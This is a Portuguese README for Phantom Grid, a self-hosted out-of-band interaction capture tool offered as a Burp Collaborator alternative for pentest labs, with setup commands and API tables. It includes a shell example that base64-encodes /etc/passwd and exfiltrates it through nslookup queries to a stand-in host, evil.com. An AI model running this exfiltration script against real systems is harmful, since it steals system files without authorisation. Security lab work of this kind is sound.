Alternativa gratuita ao Burp Collaborator - captura de interação OOB (HTTP/HTTPS/DNS) com SQLite e remontagem de exfiltração
Alternativa gratuita e de código aberto ao Burp Collaborator para laboratórios de testes de penetração
Captura de interações Out-of-Band (OOB) · HTTP/HTTPS · DNS · SQLite · Remontagem de exfiltração
Phantom Grid é uma ferramenta auto-hospedada de captura de interações OOB (Out-of-Band) — uma alternativa gratuita ao Burp Collaborator para resolver laboratórios de testes de penetração (PortSwigger Web Security Academy, HackTheBox, TryHackMe, etc.).
| Funcionalidade | Descrição |
|---|---|
| Captura HTTP + HTTPS | Pilha dupla com certificados TLS autoassinados gerados automaticamente |
| Captura DNS | Servidor DNS integrado na porta 53 |
| Remontagem de Exfiltração DNS | Remontagem automática de fragmentos a partir de exfiltração DNS multipartida |
| Persistência SQLite | Todos os dados sobrevivem a reinicializações do servidor (modo WAL para desempenho) |
| 40+ Modelos de Payload | SSRF, XXE, SQLi OOB, CMDi, SSTI, exfiltração DNS — prontos a copiar |
| Dashboard Tático | Interface de centro de comando com monitorização em tempo real |
| Pronto para Docker | Implementação com um único comando |
| API REST | API completa de gestão de tokens/interações/exfiltração |
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
pip install -r server/requirements.txt
# HTTP only
python server/server.py
# HTTP + HTTPS (auto-generates self-signed cert)
python server/server.py --https
# Full stack (requires sudo for DNS port 53)
sudo python server/server.py --https --dns
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
docker compose up -d
python server/server.py --https &
ngrok http 9090
# Use the ngrok HTTPS URL in your payloads
┌──────────────────────────────────────────────────────────────┐
│ PHANTOM GRID v2.0 │
│ │
│ ┌─────────────┐ ┌─────────────────────────────────┐ │
│ │ Dashboard │─API─▶│ Flask Server │ │
│ │ (React) │ │ │ │
│ └─────────────┘ │ :9090 HTTP capture + API │ │
│ │ :9443 HTTPS capture + API │ │
│ ┌─────────────┐ │ :53 DNS capture │ │
│ │ Target App │─────▶│ │ │
│ └─────────────┘ └──────────┬──────────────────────┘ │
│ │ │
│ ┌──────────▼──────────┐ │
│ │ SQLite Database │ │
│ │ phantom_grid.db │ │
│ │ │ │
│ │ tokens │ │
│ │ interactions │ │
│ │ dns_exfil_sessions │ │
│ │ dns_exfil_chunks │ │
│ └─────────────────────┘ │
│ │
└──────────────────────────────────────────────────────────────┘
As aplicações modernas bloqueiam frequentemente pedidos de conteúdo misto (http:// a partir de páginas https://). O Phantom Grid v2.0 executa HTTPS em conjunto com HTTP.
python server/server.py --https
# Generates certs/server.pem + certs/server.key automatically
# HTTPS available at https://0.0.0.0:9443
python server/server.py --https \
--cert /etc/letsencrypt/live/yourdomain/fullchain.pem \
--key /etc/letsencrypt/live/yourdomain/privkey.pem
python server/server.py &
ngrok http 9090
# ngrok provides a trusted HTTPS URL automatically
O Phantom Grid remonta automaticamente dados de exfiltração DNS fragmentados. Isto é crítico para extrair payloads grandes que têm de ser divididos por múltiplas consultas DNS (etiquetas limitadas a 63 bytes).
| Formato | Exemplo | Caso de Uso |
|---|---|---|
| Simples | data.TOKEN.domain | Exfiltração de valor único |
| Indexado | 0.chunk1.TOKEN.domain | Sessão automática, fragmentos ordenados |
| Etiquetado | sess1.0.chunk1.TOKEN.domain | Sessão nomeada com ordenação |
| Sinal de fim | end.sess1.TOKEN.domain | Marcar sessão como concluída |
/etc/passwd via DNSNo alvo:
# Split file into 50-byte base64 chunks and send via DNS
data=$(base64 /etc/passwd | tr -d '\n')
token="a1b2c3d4e5f6"
domain="evil.com"
i=0
while [ -n "$data" ]; do
chunk=$(echo "$data" | cut -c1-50)
data=$(echo "$data" | cut -c51-)
nslookup "exfil.$i.$chunk.$token.$domain" >/dev/null 2>&1
i=$((i+1))
done
nslookup "end.exfil.$token.$domain" >/dev/null 2>&1
Ver dados remontados:
curl http://localhost:9090/api/tokens/a1b2c3d4e5f6/exfil
Resposta:
[{
"session_tag": "exfil",
"completed": 1,
"chunk_count": 12,
"reassembled": "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYm..."
}]
Todos os dados são armazenados em phantom_grid.db usando o modo WAL do SQLite para desempenho de leitura/escrita concorrente.
phantom_grid.db
├── tokens — Token metadata
├── interactions — All HTTP/DNS captures
├── dns_exfil_sessions — Grouped exfil sessions
└── dns_exfil_chunks — Individual exfil data chunks
Os dados sobrevivem a reinicializações do servidor. Faça cópias de segurança copiando phantom_grid.db.
| Método | Endpoint | Descrição |
|---|---|---|
GET | /api/tokens | Listar todos os tokens com estatísticas |
POST | /api/tokens | Criar token {"label": "...", "notes": "..."} |
PATCH | /api/tokens/<id> | Atualizar etiqueta/notas do token |
DELETE | /api/tokens/<id> | Eliminar token + todos os dados (CASCADE) |
| Método | Endpoint | Descrição |
|---|---|---|
GET | /api/tokens/<id>/interactions?limit=&offset= | Obter interações do token |
DELETE | /api/tokens/<id>/interactions | Limpar interações |
GET | /api/log?limit= | Registo global (todos os tokens) |
GET | /api/poll?since=<ISO> | Consultar novas interações |
| Método | Endpoint | Descrição |
|---|---|---|
GET | /api/tokens/<id>/exfil | Obter sessões de exfiltração com dados remontados |
| Método | Endpoint | Descrição |
|---|---|---|
GET | /api/stats | Estatísticas globais (contagens, tamanho da BD) |
GET | /health | Verificação de estado |